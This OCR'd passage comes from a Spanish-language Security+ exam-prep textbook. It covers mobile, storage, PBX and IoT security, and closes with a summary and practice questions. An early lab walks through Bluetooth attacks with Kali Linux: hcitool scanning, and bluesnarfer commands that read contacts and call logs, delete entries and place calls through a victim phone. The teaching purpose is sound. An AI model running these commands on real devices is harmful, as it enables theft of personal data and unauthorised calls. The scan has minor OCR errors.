dos bloqueen sus teléfonos inteligentes y tabletas cuando no estén en uso
y que estén cifrando los datos en estos dispositivos. Esto protegera a la
empresa de tener a alguien fuera de la empresa viendo datos confiden-

ciales en el teléfono de un empleado si se pierde o es robado.

Como profesional de la seguridad, debe investigar las vulnerabilidades
de todos los dispositivos moviles utilizados por los empleados de su em-
presa. Es importante estar familiarizado con todas las caracteristicas de
los dispositivos utilizados por su empresa y educarse sobre las diferentes

vulnerabilidades que existen con cada uno de estos productos.

Debido a que la mayoria de los dispositivos moviles actuales usan
Bluetooth, una tecnologia inalambrica que permite que un dispositivo
Bluetooth se comunique con otro dispositivo Bluetooth a una distancia
corta (hasta 30 pies), es facil para los piratas informaticos comunicarse
con su teléfono y robarle datos si Bluetooth esta habilitado. Los teléfonos

de hoy son vulnerables a varios ataques, incluidos los siguientes:

H Bluesnarfing Un exploit de Bluetooth que permite al hacker conectarse a

un teléfono habilitado para Bluetooth y recuperar datos del teléfono

B Bluejacking El envio de mensajes no solicitados de un dispositivo

Bluetooth a otro dispositivo Bluetooth



H Bluebugging Un exploit de Bluetooth que implica que el hacker obtenga

acceso al teléfono y aproveche todas sus capacidades, incluida la
realizacion de llamadas utilizando el conjunto de comandos AT en el

teléfono.
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Explotacion de un dispositivo Bluetooth

En este ejercicio, utiliza Kali Linux para aprender comandos rela-
cionados con el concepto de bluesnarfing, el tipo de ataque que
explota dispositivos Bluetooth como teléfonos inteligentes y
tabletas.

1. Asegurese de que tiene Kali Linux ejecutandose con una tarjeta

Bluetooth instalada.
2. Vaya al sistema Kali Linux e inicie una terminal.

3. Para ver una lista de sus adaptadores Bluetooth en Linux, escriba

hciconfig

4. Deberia ver una lista de adaptadores Bluetooth instalados. Cada
adaptador tiene un numero de indice prefijado con hci. Por ejem-
plo, el primer adaptador es hci0, mientras que el segundo adapta-

dor es hcil. Registre el numero de adaptador:



[l E)] Shell - Konsole

=& ®
bt hciconfig
heio: Type: USB
BD Address: 00:00:00:00:00:00 ACL MTU: ©0:0 SCO MTU: @:0
DOWN
RX bytes:0 acl:® sco:0 events:0 errors:0

TX bytes:0 acl:® sco:® commands:® errors:@

5. Al mirar el adaptador Bluetooth, debe notar la palabra "abajo" en
la segunda linea. Esto significa que el adaptador esta deshabili-

tado. Para habilitar el adaptador, escriba

hciconfig hci0 up

6. Una vez que tenga un dispositivo Bluetooth habilitado, puede
comenzar a buscar otros dispositivos Bluetooth. Para buscar dis-
positivos Bluetooth cerca de usted, utilice la opcion de escaneo en
el comando hcitool y luego pase como parametro el numero de
indice de su adaptador Bluetooth obtenido en el paso anterior.

Para buscar dispositivos Bluetooth, escriba

heitool scan hei0

nE Shell - Konsole mE X
bt hcitool scan hci@
Scanning .

00:02:EE:1F:54:73 Nokia 63101

bt

7. El escaneo debe informarle tanto de cualquier dispositivo
Bluetooth cercano a usted como de la direccion MAC de ese dis-

positivo. Registre la direccion MAC del dispositivo Bluetooth que

encontro:

8. Una vez que tenga la direccion MAC de un dispositivo Bluetooth,

puede usar el comando bluesnarfer para recuperar informacion




sobre el dispositivo Bluetooth. Para ver la lista de direcciones en el
teléfono, escriba

bluesnarfer -r 1-50 -b <mac of phones

9. Tenga en cuenta que -r es para leer las entradas 1 a 50, y -b es el
conmutador utilizado para especificar la direccion MAC del dis-

positivo a explotar.

(2l E) Shell - Konsole

1]
o
3

bt bluesnarfer -r 1-50 -b 90:02:EE:1F:54:73
device name: Nokia 63101

+ 1 - Bob Smith : 5555555

+ 2 - Jeff Clarke : 2222222

+ 3 - Sue Smith : 6666666

bluesnarfer: release rfcomm ok

bt I

10. A continuacion, puede utilizar el comando bluesnarfer para ver
las llamadas recibidas en el teléfono escribiendo lo siguiente
(tenga en cuenta que RC especifica que desea ver las llamadas
recibidas):

bluesnarfer -s RC -r 1-50 -b <mac of phone>

BE Shell - Konsole

bt bluesnarfer -s RC -r 1-50 -b 00:02:EE:1F:54:73
device name: Nokia 63101

custom phonebook selected

+ 1 - : +1902865

+ 2 - o +1902292

bluesnarfer: release rfcomm ok

bt

] |
Ll
%

11. Para eliminar las primeras cinco entradas de la libreta de direc-

ciones con bluesnarfer, escriba

bluesnarfer -w 1-5 -b <mac of phone:>



aE Shell - Konsole

bt bluesnarfer -w 1-5 -b ©0:02:EE:1F:54:73
device name: Nokia 63101

delete of entry 1 successfull

delete of entry 2 successfull

delete of entry 3 successfull

delete of entry 4 successfull

delete of entry 5 successfull

bluesnarfer: release rfcomm ok

bt I

0
-
X

12. Para hacer una llamada telefonica usando el teléfono hackeado del

sistema BackTrack, escriba

bluesnarfer -c 'ATDTH#######;' -b <mac of phone>

13. Tenga en cuenta que -c especifica una accion personalizada y el co-
mando AT marca un numero, con el simbolo # actuando como

marcador de posicion para el numero de teléfono.

BE Shell - Konsole

bt bluesnarfer -c 'ATDT292 ;' -b 00:02:EE:1F:54:73
device name: Nokia 63101

custum cmd selected, raw output

oK

bluesnarfer: release rfcomm ok

bt

m
ul

| 7™ == . <

14. ¢Como evitarias el bluesnarfing en tus dispositivos?

Cuando trabaje con dispositivos moviles requeridos por los usuarios,
asegurese de deshabilitar la funcionalidad Bluetooth si no es necesaria o
si el empleado la utiliza. Si se requiere Bluetooth, configure la opcion de
visibilidad en deshabilitada o invisible para que otros dispositivos no

puedan ver el dispositivo Bluetooth del empleado al escanear.
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Para el examen, sepa que bluesnarfing es la recuperacion no autor-
izada de datos de un dispositivo Bluetooth y que bluejacking es el

envio de mensajes no solicitados de un dispositivo Bluetooth a otro.

La mayoria de los dispositivos Bluetooth actuales utilizan seguridad
emparejada, lo que significa que otro dispositivo Bluetooth no puede
conectarse a su dispositivo Bluetooth sin antes solicitarle un numero PIN,
que actua como cddigo de acceso. Si la persona que se conecta ingresa el

mismo numero PIN, entonces la conexion estd permitida.
Almacenamiento extraible

Es importante incluir en su politica de seguridad las reglas que rodean el
almacenamiento extraible, que es cualquier medio de almacenamiento
que puede almacenar datos y luego eliminarse del sistema. Por ejemplo,
las unidades flash (también conocidas como memorias USB) y las
unidades de disco duro externas conectadas a un sistema mediante USB,

FireWire o eSATA se consideran almacenamiento extraible.

El problema de seguridad que rodea el almacenamiento extraible es
que un empleado podria traer una unidad de memoria de casa y conec-
tarla al sistema de la empresa. Esto es un problema porque algunos virus
de gusano pueden infectar los sistemas de la empresa al replicarse desde
la unidad extraible al sistema de la empresa. Es mejor no permitir que los
empleados utilicen almacenamiento extraible en la red de la empresa y

asegurarse de que la politica de seguridad lo especifique.

Sila empresa suministra dispositivos de almacenamiento extraibles a
los empleados para almacenar informacion de la empresa, asegurese de
que las unidades sean capaces de cifrar los datos almacenados en la
unidad. Es muy facil para los empleados extraviar la unidad extraible o
que se la roben, asi que asegurese de tener los datos confidenciales en-

criptados en las unidades.



Por ultimo, algunos entornos de alta seguridad tienen discos duros
extraibles en las estaciones de trabajo. Estas organizaciones tienen una
politica de que cuando un empleado sale de una estacion, debe sacar la
unidad del sistema y luego bloquearla en un gabinete seguro. Este
también puede ser el caso de las computadoras portatiles utilizadas por
los empleados. Es posible que se requiera que los empleados bloqueen
sus computadoras portatiles en un gabinete seguro cuando se vayan por
el dia. El beneficio es que si alguien, como el personal de limpieza, tiene
acceso a las instalaciones por la noche, entonces las unidades o computa-

doras portatiles se almacenan de forma segura.
Almacenamiento conectado en red

Un dispositivo de almacenamiento conectado a la red (NAS) es un disposi-
tivo que se conecta a la red y tiene un grupo de unidades instaladas. Las
unidades normalmente se configuran en una solucion tolerante a errores,
como una matriz RAID, y permiten que los clientes de la red se conecten

directamente al dispositivo.

El NAS proporciona una ubicacion central para compartir archivos con
clientes en la red y admite diferentes tipos de clientes (Linux y Windows)
que se conectan al NAS para acceder a los archivos. Esto es posible
porque el dispositivo NAS ejecuta la mayoria de los protocolos de uso
compartido de archivos, como Server Message Block (SMB) para clientes

Windows y Network File System (NFS) para clientes Linux.

Una vez que conecte el NAS a la red, puede modificar sus opciones de

configuracion a través de una interfaz basada en web.

Tenga mucho cuidado al proteger los datos en un dispositivo NAS
porque todos los datos de la empresa ahora podrian almacenarse en esa
ubicacion. Las siguientes son algunas consideraciones a tener en cuenta

cuando se trata de NAS:

B Comprometer el acceso afecta a todos los datos. Si alguien puede obtener

acceso al NAS, potencialmente tendra acceso a todos los datos en el NAS.



Para controlar el acceso al dispositivo NAS, asegurese de tener un firewall

que separe el dispositivo NAS de Internet.

B Un virus podria infectar potencialmente todos los archivos. Debido a que to-

dos sus datos se almacenan en una ubicacidn, es posible que un virus se
propague a traves de todos sus datos. Asegurese de realizar analisis de

virus regulares en los datos almacenados en el NAS.

B Implementar lo basico. Utilice la autenticacion, los permisos y el cifrado

cuando sea posible en el dispositivo NAS para controlar quién tiene ac-

ceso a los datos del dispositivo.
PBX

Una central de sucursal privada (PBX) es un sistema telefonico avanzado
que actua como un interruptor para todos los teléfonos dentro de la
corporacion. El PBX permite a una empresa comprar una sola linea ex-
terna y luego tener multiples sistemas telefonicos internos (y numeros)
dentro de la empresa que utilizan el PBX. A cada teléfono de la empresa
se le asigna un numero unico, que actua como el numero de extension de

la linea externa (consulte la Figura 5-9).

Phone systems
Extension 311

p Extension 312

555-5555
External line

Extension 313

Una PBX actua como un interruptor para el sistema telefénico dentro de

una empresa.



Debido a la naturaleza de los sistemas telefénicos, normalmente una
serie de problemas de seguridad estan relacionados con las PBX. El
primer punto clave es controlar quién tiene acceso a la PBX colocandola
en una habitacion cerrada con acceso limitado. Asegurese de que los com-
ponentes de hardware de la PBX estén en una ubicacion segura y con-
sidere el uso de dispositivos antimanipulacion para ayudar a proteger la
PBX. Al evaluar la seguridad, asegurese de revisar los componentes de
hardware regularmente para asegurarse de que no hayan sido
manipulados.

Al igual que con cualquier dispositivo, asegurese de modificar
cualquier configuracion predeterminada en el PBX cuando sea posible,
incluidas las cuentas y contrasefas predeterminadas. Ademas, si se re-
quiere administracion remota en el PBX, asegurese de implementar la se-
guridad de devolucion de llamada, donde el sistema se desconecta de la
conexion original y luego se conecta a un numero predefinido. Esto
asegurara que un hacker no esté tratando de conectarse remotamente a
la PBX.

Asegurese de que los usuarios no estén conectando modems a las
lineas telefonicas de la empresa, ya que esto crea el riesgo de que una
persona no autorizada marque ese numero y luego obtenga acceso re-
moto a la red interna (jeso no es bueno!). El término para alguien que
marca varios nameros para localizar un médem conectado a un numero
es marcacion de guerra. Uno de los escenarios comunes para la marcacion
de guerra hace afios era cuando los administradores tenian un modem
conectado a la PBX para fines de administracion remota. El hacker
localizaria el PBX a través de la marcacion de guerra y luego obtendria

acceso al PBX para hacer llamadas de larga distancia a través del PBX.

Tatch

No confunda la marcacion de guerra con la conduccion de guerra. La
marcacion de guerra es cuando el hacker llama a varios numeros
con la esperanza de localizar un médem conectado a una linea

telefonica, mientras que la conduccion de guerra es cuando el




hacker usa un escaner inalambrico para localizar redes

inalambricas.

Riesgos de seguridad con sistemas integrados y especializados

En esta seccion aprendera sobre técnicas comunes para mitigar riesgos
en entornos que utilizan diferentes tipos de tecnologias. Para mitigar los
riesgos, debe comprender las tecnologias y sus riesgos de seguridad

relacionados.

El principal desafio para mitigar las amenazas de seguridad es la
riqueza de los diferentes productos y tecnologias utilizados por las orga-
nizaciones hoy en dia. Como profesional de la seguridad, debe crear, o al
menos aconsejar cOmo crear, un entorno seguro para cada una de estas

tecnologias y sistemas especializados.
Sistemas embebidos

Esté atento a los dispositivos que tienen componentes integrados que
podrian crear riesgos. Esto incluye cualquier dispositivo conectado a la
red, como una impresora o un televisor inteligente, pero también esté
atento a los dispositivos que incluyen tecnologia Bluetooth. Asegurese de
implementar practicas de endurecimiento con estos dispositivos (por
ejemplo, si el dispositivo no usa Bluetooth, debe deshabilitarse, si es

posible):

B Raspberry Pi Raspberry Pi es una pequefia placa de sistema que contiene

un procesador; CARNERO; y puertos como puertos USB, Micro HDMI y un
puerto Gigabit Ethernet. Estos pequerios sistemas son comunes con los
usuarios domeésticos y se utilizan para crear dispositivos personalizados

que proporcionan algun tipo de funcionalidad.

B Matriz de puertas programables en campo (FPGA) Una matriz de puer-

tas programable en campo es un circuito integrado que se envia al
cliente para que el cliente pueda programar su propia funcionalidad en el

chip.



B Arduino Arduino es un producto popular que los clientes utilizan para

crear sus propios dispositivos electronicos. Arduino viene con una
pequeiia placa que contiene microprocesadores y controladores que se

pueden programar con lenguajes como Cy C ++.
Otras tecnologias integradas

Existen otras tecnologias que funcionan con sistemas integrados o tienen
componentes integrados en ellos. La siguiente es una lista de otras

tecnologias relacionadas a tener en cuenta:

B HVAC El sistema HVAC tiene un sistema informatico integrado para detec-

tar y controlar la temperatura del ambiente.

Un sistema en chip (SoC) es esencialmente un sistema informatico en un

chip de computadora que esta incrustado en placas. Los SoC pueden con-
tener una gran cantidad de funcionalidades, incluidas CPU, GPU y
modulos inalambricos. Un ejemplo de un dispositivo que utiliza un SoC es

Raspberry Pi.

B RTOS Un sistema operativo en tiempo real (RTOS) es un sistema operativo

que se encuentra en un sistema integrado que esta disefiado para proce-

sar datos a medida que llegan al dispositivo.

m Impresoras/MFD Las impresoras y los dispositivos multifuncion (MFD, que

son dispositivos que funcionan como impresora, fax y escaner) tienen
una serie de componentes integrados que debe tener en cuenta. Por ejem-
plo, tienen memoria para almacenar informacion, algunas impresoras
tienen discos duros que potencialmente almacenan trabajos de impresion
(que podrian contener informacion confidencial), y muchas impresoras

también son servidores web, 1o que las hace facilmente explotadas.

M Sistemas de vigilancia Los sistemas de vigilancia actuales contienen sis-

temas integrados. Al igual que con las impresoras, debe conocer los ele-



mentos electronicos en los sistemas de camaras, pero también debe cono-
cer los sistemas que contienen cadmaras. También tenga en cuenta que
muchas cdmaras estan conectadas a un servidor central que podria con-
trolar las cAmaras y / o es donde las cAmaras envian sus datos. Estos sis-
temas pueden estar conectados a Internet, por lo que una vulnerabilidad

expondria la vista de la cAmara a cualquier numero de personas.

B Drones Un dron es un vehiculo aéreo no tripulado (UAV) que implica que

el piloto de la aeronave pueda volar el dron con un control remoto.

B VoIP Voz sobre Protocolo de Internet (VoIP) es una tecnologia que nos per-

mite utilizar una red TCP/IP, como Internet, para llevar aplicaciones de

comunicacion de voz y conferencias.

B Consolas de juegos Los sistemas de juego actuales, como Xbox y

PlayStation, son ahora sistemas multimedia completos conectados a
Internet. Asegurese de mirar las técnicas de endurecimiento en estos sis-

temas y realizar actualizaciones en ellos regularmente.
SCADA/ICS

El control de supervision y adquisicion de datos (SCADA) es un sistema es-
pecial utilizado en entornos industriales (por ejemplo, una planta de
fabricacion) para monitorear las operaciones. Los sistemas SCADA son
utilizados por los gerentes de instalaciones para manejar la logistica rela-
cionada con el control de componentes como HVAC, iluminacion y
unidades de refrigeracion. La seguridad fisica, incluida una instalacion
segura, es una parte importante de la seguridad en dicho entorno, ya que
cualquier manipulacion de cualquiera de los componentes SCADA puede
causar un mal funcionamiento del monitoreo y las alarmas. El sistema de
control industrial (ICS) se refiere generalmente a cualquier sistema que
monitoree o controle equipos industriales, incluidos los sistemas SCADA.
Estos sistemas se pueden encontrar en muchos tipos de instalaciones, in-

cluidas plantas industriales, plantas de fabricacion y plantas de energia.



Internet de las cosas

Internet de las cosas (IoT) es el término que utilizamos para los disposi-
tivos que pueden intercambiar informacion a través de Internet con otros
dispositivos y sistemas. Un dispositivo IoT podria ser vulnerable a los
ataques, ya que los proveedores de los productos generalmente se centra-
ban en la comunicacion y no en la seguridad cuando se creo el producto.
Los siguientes objetivos de Security+ son puntos clave para recordar so-
bre IoT:

Bl Sensores Muchos dispositivos IoT tendran sensores que le permitiran re-

copilar informacion. Algunos ejemplos de dispositivos IoT que contienen
sensores son electrodomeésticos como termostatos y cAmaras de seguridad

para el hogar.

m Dispositivos inteligentes Un dispositivo inteligente es un dispositivo que

estd conectado a la red o a Internet y es capaz de comunicarse con otros
dispositivos. Estos dispositivos generalmente se conectan alared o a
Internet mediante tecnologias inaldmbricas como Bluetooth, Wi-Fi 0 una

red celular.

Un wearable es un dispositivo electronico como un reloj inteligente que

puedes usar en tu cuerpo. Por ejemplo, un reloj inteligente es capaz de co-
municarse con un teléfono inteligente a través de Bluetooth. Los wear-
ables pueden actuar como un monitor de fitness y un monitor de frecuen-

cia cardiaca.

B Automatizacion de instalaciones Los sistemas de automatizacion de insta-

laciones estan disefiados para controlar elementos dentro del edificio,

como calefaccion, ventilacion y aire acondicionado (HVAC).

B Valores predeterminados débiles Muchos dispositivos de Internet de las

cosas pueden tener configuraciones predeterminadas que hacen que los

dispositivos no sean seguros. Es fundamental que revise su configuracion



predeterminada y modifique la configuracion de los valores predetermi-
nados tanto como pueda, jya que la configuracion predeterminada es lo

que los piratas informaticos saben!
Sistemas Especializados

Hay una serie de sistemas de propdsito especial que contienen sistemas
integrados, incluidos dispositivos médicos, vehiculos y sistemas de aeron-
aves / UAV. Cada uno de estos sistemas debe ser evaluado para detectar
vulnerabilidades.

B Sistemas informaticos en el vehiculo Si su organizacidn tiene sistemas

informaticos en los vehiculos, asegurese de implementar controles de se-
guridad especiales para esos sistemas, ademas de las practicas de seguri-
dad regulares. Por ejemplo, si los vehiculos de la empresa estan equipa-
dos con computadoras portatiles, asegurese de cifrar los datos en el disco,
implementar un control de bloqueo que proteja el dispositivo de ser
robado y deshabilitar puertos y tarjetas de red innecesarios en la com-
putadora portatil. Los automoviles de hoy en dia tienen sistemas de
comunicacion como OnStar que estan conectados al automavil via satélite
y permiten al fabricante proporcionar muchas funciones, como llamadas
de emergencia. El posible problema de seguridad es que un hacker puede

explotar el sistema y controlar el automaovil.

B Sistemas médicos Los sistemas médicos tienen sistemas informaticos inte-

grados que tienen conectividad de red utilizada para recopilar y trans-
ferir datos médicos.

Bl Vehiculos Los fabricantes de vehiculos estan utilizando la tecnologia IoT

para que los vehiculos estén en constante comunicacion con los sistemas
informaticos de los fabricantes. Los fabricantes utilizan los datos recopi-
lados de estos vehiculos para mejorar las caracteristicas y hacer que los
vehiculos sean mas seguros. Este canal de comunicacion también se uti-
liza para actualizar el software de los vehiculos cuando los fabricantes

necesitan implementar actualizaciones de software.



B Aeronaves Similar a la tecnologia IoT en los automoviles, las aerolineas

también estan utilizando IoT en los aviones para que puedan recopilar

informacion sobre los aviones y sus vuelos.

B Medidores inteligentes Los medidores inteligentes son dispositivos que

recopilan informacidon sobre el consumo de energia para que la compafiia

eléctrica pueda controlar mejor su consumo de energia.
Consideraciones de comunicacion

Los sistemas integrados y los dispositivos IoT utilizaran diferentes
métodos de comunicacion para enviar los datos recopilados al sistema del
fabricante. Al determinar el riesgo para los dispositivos IoT utilizados por
la empresa, no olvide investigar la tecnologia de comunicacion utilizada y
las vulnerabilidades en el canal de comunicacion. Las siguientes son

tecnologias de comunicacion utilizadas por estos dispositivos:

M Los sistemas integrados 5G y los dispositivos IoT pueden usar redes celu-

lares para transmitir la informacion recopilada al fabricante, siendo el

estandar actual la red celular de quinta generacion (5G).

Bl Los dispositivos de banda estrecha pueden utilizar canales de

comunicacion de radio de banda estrecha para la comunicacion de corto
alcance. Por ejemplo, la tecnologia RFID y la entrada remota sin llave con

vehiculos suelen utilizar una banda estrecha.

W Radio de banda base La radio de banda base es una tecnologia de

comunicacion que utiliza ondas de radio para enviar una sefial entre dos

puntos.

H Tarjetas de mddulo de identidad del suscriptor (SIM) Una tarjeta SIM es

un pequeiio chip de computadora colocado en un teléfono celular que al-

macena la informacion necesaria para conectarse a la red celular.



También puede almacenar datos personales como mensajes y contactos

en la tarjeta SIM.

B Zighee Zigbee es un protocolo de comunicacion utilizado para crear una

red de area personal (PAN) entre dispositivos tales como sistemas de

automatizacion del hogar o equipos de dispositivos médicos.

Restricciones

Las siguientes son algunas limitaciones potenciales que puede experi-

mentar al trabajar con sistemas integrados o dispositivos IoT:

Bl Los dispositivos Power 10T necesitaran usar energia para crear una sefial

lo suficientemente fuerte como para enviar datos. Los fabricantes deben
asegurarse de que los componentes reciban suficiente energia para una

funcionalidad estable del componente.

B Computo El componente debera tener la potencia de calculo para proce-

sar la informacion recopilada.

B Red La red debe ser eficiente y fiable para poder transmitir los datos

recogidos.

B Crypto Para asegurar la comunicacion, la tecnologia utilizara algun tipo de

algoritmo de criptografia para cifrar las comunicaciones. Para el examen,
recuerde estar atento a las soluciones que utilizan algoritmos de cifrado
débiles como DES y 3DES. Aprendera mas sobre el cifrado en los

capitulos 12y 13.

B Incapacidad para parchear Otro punto clave con los dispositivos IoT para
recordar para el examen que es una gran limitacion o vulnerabilidad es
un dispositivo que no da la capacidad de aplicar actualizaciones (parc-

hear el sistema). Si un dispositivo no proporciona una forma de aplicar
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parches, eso significa que las vulnerabilidades encontradas dentro del

dispositivo siempre existiran.

m Autenticacion Mire los protocolos de autenticacion compatibles con el dis-

positivo y asegurese de que, si puede elegir un protocolo de
autenticacion, utilice el protocolo mas seguro posible (uno que admita el

trafico de autenticacién cifrado).

H Alcance El alcance de la tecnologia también puede ser una limitacion. Por

ejemplo, Bluetooth 4.2 tiene un alcance limitado de 60 metros, mientras

que Zigbee tiene un alcance maximo de 100 metros.

Bl Coste El coste de la tecnologia integrada podria aumentar el coste del com-

ponente para el cliente.

B Confianza implicita La tecnologia puede seguir la regla de la confianza

implicita, donde confia en toda comunicacion.

RESUMEN DE CERTIFICACION

En este capitulo aprendi6 acerca de algunos de los tipos mas comunes de
amenazas contra los sistemas actuales. Ha aprendido sobre las amenazas
fisicas a los activos, como el robo de dispositivos, y sobre las amenazas de
software y hardware malintencionadas. Los siguientes son algunos pun-

tos clave para recordar acerca de las amenazas de seguridad del sistema:

B La mayoria de las empresas centran su estrategia de TI en la tecnologia;

Sin embargo, no deben olvidarse de las amenazas de seguridad fisica,

como el espionaje y el robo de hardware.

B Una politica de escritorio limpio y garantizar que los empleados estén de-

struyendo documentos innecesarios ayudara a evitar el espionaje.



B Asegurese de proteger con contrasefia cualquier dispositivo movil y

también cifre los datos en esos dispositivos en caso de que se pierdan o

sean robados.

B Familiarizarse con los diferentes tipos de software malicioso, como virus,

spyware y adware.

Bl Asegurese de proteger su sistema del software malicioso instalando soft-

ware de proteccion antivirus y manteniendo actualizadas las definiciones
de virus. Puede utilizar comandos del sistema operativo como netstat,

tasklist y taskkill para supervisar lo que se estd ejecutando en el sistema.

B Asegurese de que los usuarios estén cifrando todos los datos almacenados

en unidades extraibles en caso de pérdida o robo de una unidad
extraible, esto incluye unidades USB. Asegurese también de controlar qué
unidades se pueden conectar a los sistemas corporativos; No desea que
una memoria USB que fue infectada con un virus de la computadora

doméstica de un empleado ingrese a su red.

B Cuando obtenga nuevos dispositivos, como teléfonos inteligentes en la ofic-

ina, asegurese de investigar las caracteristicas de estos dispositivos y de-
shabilite 1o que no se esta utilizando, como Bluetooth. Ademas, investigue

las vulnerabilidades de estos dispositivos en particular.

Comprender las amenazas contra un sistema es una habilidad impor-
tante para tener como profesional de seguridad y lo ayudara a responder
preguntas relacionadas en el examen. Siempre tenga una mente sospe-
chosa cuando se trata de seguridad, y con cualquier nueva tecnologia,

preguntese: "¢Cuales son las amenazas contra esto?"

\/ SIMULACRO DE DOS MINUTOS

Problemas de seguridad con vulnerabilidades



(J Esté atento a la configuracion débil de los dispositivos de software o hard-
ware que podrian hacer que el sistema sea vulnerable a un ataque.
Ejemplos de configuracion débil son la falta de permisos que controlan
las acciones autorizadas, el cifrado débil (como el uso de DES o 3DES) y el

uso de protocolos no seguros (como HTTP en lugar de HTTPS).

(J Recuerde modificar la configuracién de los valores predeterminados del
sistema, ya que los hackers conocen los valores predeterminados de los

sistemas que atacan.

(1 Asegurese de aplicar parches al sistema regularmente. Esto incluye actual-
izaciones de firmware, actualizaciones del sistema operativo y cualquier

actualizacion de la aplicacion para el software que esté ejecutando.

[ Debe deshabilitar los puertos USB en los sistemas o implementar DLP para

evitar la exfiltracién de datos.
Identificacion de amenazas fisicas

1 Aseguirese de que los empleados destruyan los documentos confidenciales
cuando se deshagan de ellos para ayudar a prevenir técnicas de espionaje

como el buceo en contenedores de basura.

U Implemente una politica de escritorio limpio, especificando que los docu-

mentos confidenciales no pueden dejarse a la intemperie.

1 Asegurese de que los empleados estén bien educados sobre las tareas del
trabajo para ayudar a prevenir errores humanos, como la eliminacion ac-
cidental de archivos o la destruccion de equipos informaticos debido a
ESD.

[ Cifre y asegure los dispositivos con contrasefias para proteger los datos de

la empresa que residen en un dispositivo en caso de pérdida o robo.

Mirando el software malicioso



(J La escalada de privilegios es cuando un usuario puede obtener acceso ad-

ministrativo a un sistema explotando una vulnerabilidad en el sistema.

(J Una bomba ldgica es un tipo de virus que se desencadena por un evento

especifico, como una fecha.

(' Un virus gusano es un virus autorreplicante y se replica a través de
unidades flash, correo electronico o a través de la red para infectar

sistemas.

(1 Un virus troyano es un virus que se instala pensando que el programa es
un programa legitimo, pero en su lugar le da al pirata informatico acceso

al sistema (generalmente abriendo un puerto en su computadora).

(J Puede usar comandos del sistema operativo como netstat, tasklist y
taskkill para ayudar a solucionar problemas de sistemas infectados con
software malintencionado. También puede consultar la Herramienta de
eliminacion de software malintencionado de Microsoft para eliminar el

malware de un sistema infectado.

[ El spyware es un software que recopila informacién sobre sus hébitos de
navegacion, mientras que el adware es un malware que carga anuncios

en la pantalla en una ventana emergente.

(1 Los mensajes de spam son correos electrénicos no solicitados enviados

masivamente anunciando un producto o servicio.

(1 Un rootkit es una pieza de software instalada por un hacker que les otorga
acceso administrativo al sistema mas tarde. Los diferentes tipos son
rootkits virtualizados y a nivel de aplicacion, nivel de biblioteca, nivel de

kernel y virtualizados.

(J Un keylogger es una pieza de software o hardware que captura las pulsa-
ciones de teclas y las almacena en un archivo para que el hacker las re-

vise mas tarde.

Amenazas contra el hardware



(1 Debe configurar los ajustes del BIOS en todas las estaciones de trabajo y
servidores para que los sistemas no arranquen desde una unidad de ar-
ranque, como una unidad USB o una unidad de DVD que contenga un sis-

tema operativo de arranque.

(1 Asegurese de desactivar los puertos no utilizados en un sistema, como los
puertos USB, para evitar que los empleados se lleven datos confidenciales
a casa, o incluso que introduzcan un virus en el sistema a través de una
unidad USB.

(1 Asegurese de investigar cualquier vulnerabilidad conocida con teléfonos

moviles y de deshabilitar funciones innecesarias en el teléfono.

(J Bluesnarfing es la explotacién de un dispositivo Bluetooth copiando datos
del dispositivo, mientras que bluejacking es el envio de mensajes no solic-

itados a un dispositivo Bluetooth.

1 Limitar el uso de medios extraibles en el lugar de trabajo para reducir la
probabilidad de robo intelectual. Si va a utilizar medios extraibles, tenga
los datos de la unidad cifrados en caso de que los medios se pierdan o

sean robados.
AUTOEVALUACION

Las siguientes preguntas le ayudaran a medir su comprension del mate-
rial presentado en este capitulo. Como se indico, algunas preguntas
pueden tener mas de una respuesta correcta, asi que asegurese de leer to-

das las opciones de respuesta cuidadosamente.
Problemas de seguridad con vulnerabilidades

1. Su gerente ha leido acerca de que la exfiltracion de datos es una
preocupacion importante para las empresas de hoy. Ella se ha acercado a
usted buscando métodos para reducir el riesgo de exfiltracion de datos.

¢Qué me recomiendas?

A. Instale software antivirus.



B. Desactive los puertos USB.

C. Habilite Firewall de Windows.

D. Desactivar servicios innecesarios.

2. Su gerente le ha pedido que implemente una solucion que impida que los
empleados envien correo electronico fuera de la empresa que contenga

informacion confidencial. ;Qué solucion recomendaria?

A. NAT

B. NAC

C. DES

D. DLP

3. Ha estado leyendo un nuevo boletin de seguridad que describe una
nueva vulnerabilidad dentro de uno de los sistemas operativos que uno
de sus servidores web criticos esta ejecutando. ¢Qué debe hacer para re-

ducir el riesgo de un exploit en ese sistema critico?

R. Utilice HTTPS en lugar de HTTP.

B. Bloquee los permisos.

C. Parche el sistema.

D. Habilite un firewall basado en host.

Identificacion de amenazas fisicas

4. Su gerente de ventas se ha puesto en contacto con usted para informarle
que recientemente extravio su dispositivo movil, que puede contener

informacion confidencial. ;Qué debe indicarle que haga primero?

A. Solicite uno nuevo.



B. Borre el dispositivo de forma remota.

C. Llame al teléfono y pida que se lo devuelvan.

D. Desactive Bluetooth en el dispositivo.

5. Estas planificando tus seminarios de formacion y sensibilizacion. ¢Qué
debe decirles a los empleados que hagan con los documentos confiden-

ciales que ya no son necesarios?

A. Guardelos en una pila en el lado derecho de su escritorio.

B. Coléquelos en la bolsa de la computadora portatil cuando ya no los

necesite.

C. Destrozarlos.

D. Coloquelos en la papelera de reciclaje para su reciclaje.

6. A su gerente le preocupa que las computadoras portatiles de los emplea-
dos sean robadas a la mitad del dia cuando los empleados salen de su es-
critorio para tomar café o ir al bafio. {Qué puede hacer para reducir la
probabilidad de que un transeunte tome una computadora portatil de-

jada en un escritorio?

A. Utilice un cable de bloqueo.

B. Cifre la unidad.

C. Desactive el arranque desde un disco en vivo.

D. Cierre la sesion de la estacion de trabajo.

Mirando el software malicioso

7. Su empresa tiene una politica estricta cuando se trata del uso de
unidades USB en la oficina. Un empleado le pregunta por queé no se le per-

mite usar una memoria USB para llevar archivos desde la computadora



de su casa a la computadora de su oficina. ¢Cudl de las siguientes es la

mejor respuesta?

R. Las memorias USB no tienen la capacidad de almacenar los datos

necesarios.

B. Los datos de una memoria USB no se pueden cifrar.

C. Las memorias USB son demasiado grandes para llevarlas de un lugar a

otro.

D. La unidad podria llevar un virus de casa a la oficina.

8. ¢Cudl de las siguientes opciones describe mejor un virus troyano?

A. Software malintencionado desencadenado por un evento, como una

fecha especifica.

B. Un virus que se disfraza de un programa legitimo pero en realidad abre

un puerto en el sistema

C. Software malicioso que supervisa su actividad en Internet

D. Un virus que se autorreplica

9. Bob instalé una aplicacion en diez computadoras en la oficina hace mas
de seis meses, y la aplicacion funcioné como se esperaba. El 12 de febrero
de este ario, la aplicacion elimind una serie de archivos criticos del sis-

tema. ¢Qué tipo de virus es este?

A. Virus troyano

B. Virus del gusano

C. Rootkit

D. Bomba logica



